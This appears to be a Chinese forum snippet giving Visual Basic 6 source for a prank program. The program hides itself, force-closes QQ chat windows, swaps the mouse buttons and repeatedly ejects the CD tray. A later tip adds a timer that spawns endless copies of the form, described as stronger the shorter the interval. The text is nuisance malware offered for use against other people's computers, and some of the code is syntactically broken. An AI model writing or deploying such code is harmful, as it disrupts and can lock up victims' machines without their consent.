Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_CLOSE = &H10
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
//以上都是API
form1.hide
//隐藏自己，或者根本不要窗体就行了
winHwnd = FindWindow(vbNullString, "QQ2010")
RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)
winHwnd = FindWindow(vbNullString, "QQ2009")
RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)
winHwnd = FindWindow(vbNullString, "QQ2008")
RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&)
//以上是关闭QQ
SwapMouseButton 1
//交换鼠标左右键
dim i as integer
for i =1 to 10
strStr = "set CDAudio door open"
Call mciSendString(strStr, vbNull, 127, 0)
strStr = "set CDAudio door closed"
Call mciSendString(strStr, vbNull, 127, 0)
next i
//不断弹出光驱，具体的数字就看你自己了
哈哈，不要乱来，一般情况下弹几下就会被结束任务了，嘎嘎
（2010-9-22更新）中秋快乐
加一个timer 毫秒设置越小威力越大
在事件里加：
dim a as new form1
a.show
